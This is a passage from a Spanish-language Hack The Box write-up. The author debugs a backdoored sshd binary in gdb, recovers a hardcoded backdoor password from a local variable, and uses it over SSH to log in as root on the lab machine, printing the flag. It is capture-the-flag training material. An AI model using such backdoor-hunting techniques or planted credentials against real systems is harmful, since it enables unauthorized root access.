   0x0000555555564755 <+261>:   xor    %eax,%eax
   0x0000555555564757 <+263>:   test   %r12d,%r12d
   0x000055555556475a <+266>:   setne  %al
   0x000055555556475d <+269>:   and    %edx,%eax
   0x000055555556475f <+271>:   mov    0x28(%rsp),%rbx
   0x0000555555564764 <+276>:   xor    %fs:0x28,%rbx
   0x000055555556476d <+285>:   jne    0x5555555647a5 <auth_password+341>
   0x000055555556476f <+287>:   add    $0x30,%rsp
   0x0000555555564773 <+291>:   pop    %rbx
   0x0000555555564774 <+292>:   pop    %rbp
   0x0000555555564775 <+293>:   pop    %r12
   0x0000555555564777 <+295>:   pop    %r13
   0x0000555555564779 <+297>:   pop    %r14
   0x000055555556477b <+299>:   retq   
   0x000055555556477c <+300>:   movl   $0x1,0xb2d82(%rip)        # 0x555555617508 <expire_checked.15270>
   0x0000555555564786 <+310>:   mov    %rbx,%rdi
   0x0000555555564789 <+313>:   callq  0x555555582360 <auth_shadow_pwexpired>
   0x000055555556478e <+318>:   test   %eax,%eax
   0x0000555555564790 <+320>:   je     0x55555556473a <auth_password+234>
   0x0000555555564792 <+322>:   movl   $0x1,0x1c(%rbx)
   0x0000555555564799 <+329>:   jmp    0x55555556473a <auth_password+234>
   0x000055555556479b <+331>:   mov    %rbp,%rdi
   0x000055555556479e <+334>:   callq  0x55555556fc70 <auth_restrict_session>
   0x00005555555647a3 <+339>:   jmp    0x55555556474f <auth_password+255>
   0x00005555555647a5 <+341>:   callq  0x55555555f710 <__stack_chk_fail@plt>
End of assembler dump.
(gdb)

Vemos el breakpoint definido, y ejecutamos el programa (sudo gdb -ex=r --args ./sshd -p 2222 -d).

1
2
3
4
5
6
(gdb) b auth_password
Breakpoint 1 at 0x555555564650: file auth-passwd.c, line 78.
(gdb) info break
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555555564650 in auth_password at auth-passwd.c:78
(gdb) r

Ejecutamos el binario con las flags -d -p 2222, localmente nos autenticamos por SSH: ssh user@localhost -p 2222, vemos que el programa se detiene y muestra el breakpoint. Si vemos las variables locales, observamos backdoor .

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
[.. snip ..]

Breakpoint 1, auth_password (ssh=ssh@entry=0x555555639b00, password=0x55555562c240 "P@ssword123") at auth-passwd.c:78
78      auth-passwd.c: No such file or directory.
(gdb) info locals
authctxt = <optimized out>
pw = <optimized out>
result = <optimized out>
ok = <optimized out>
expire_checked = 0
i = <optimized out>
backdoor = "\000\000\000\000\000\000\000\000\230\060YUUU\000\000\000\000\000\000\000\000\000\000\b\000\000\000\000\000"
(gdb)

Realizando varios “pasos” vemos que la variable backdoor va tomando valor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
(gdb) step 5
87      in auth-passwd.c
(gdb) info locals
authctxt = 0x555555628f00
pw = 0x555555627780
result = <optimized out>
ok = 1
expire_checked = 0
i = <optimized out>
backdoor = "@=qfe5%2^k-aq@%k@%6k6b@$u#f", <incomplete sequence \364\251\245>
(gdb)

Finalmente después de varios “pasos” se completa, y el programa nos permite el acceso por SSH por el usuario dado.

1
2
3
4
5
6
7
8
9
(gdb) info locals
authctxt = 0x555555628f00
pw = 0x555555627780
result = <optimized out>
ok = 1
expire_checked = 0
i = <optimized out>
backdoor = "@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3"
(gdb)

El valor del backdoor parece ser una contraseña, pero no del usuario root, localmente.

1
2
3
4
steven@production:~$ su root # @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Password:
su: Authentication failure
steven@production:~$

Shell

Aunque si realizamos la autenticación por fuera nos permite entrar como steven y como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/undetected ❯ ssh steven@djewelry.htb
steven@djewelry.htb's password:
Last login: Thu Feb 24 00:46:15 2022 from 10.10.14.159
steven@production:~$ whoami;id
steven
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ exit
logout
Connection to djewelry.htb closed.
 π ~/htb/undetected ❯ ssh root@djewelry.htb
root@djewelry.htb's password:
Last login: Thu Feb 24 02:32:58 2022 from 10.10.14.159
root@production:~#

Finalmente obtenemos nuestra flag root.txt.

1
2
3
4
5
6
7
8
root@production:~# id; pwd
uid=0(root) gid=0(root) groups=0(root)
/root
root@production:~# ls
root.txt
root@production:~# cat root.txt
103457be70d0083af8c991681b0f5fe9
root@production:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe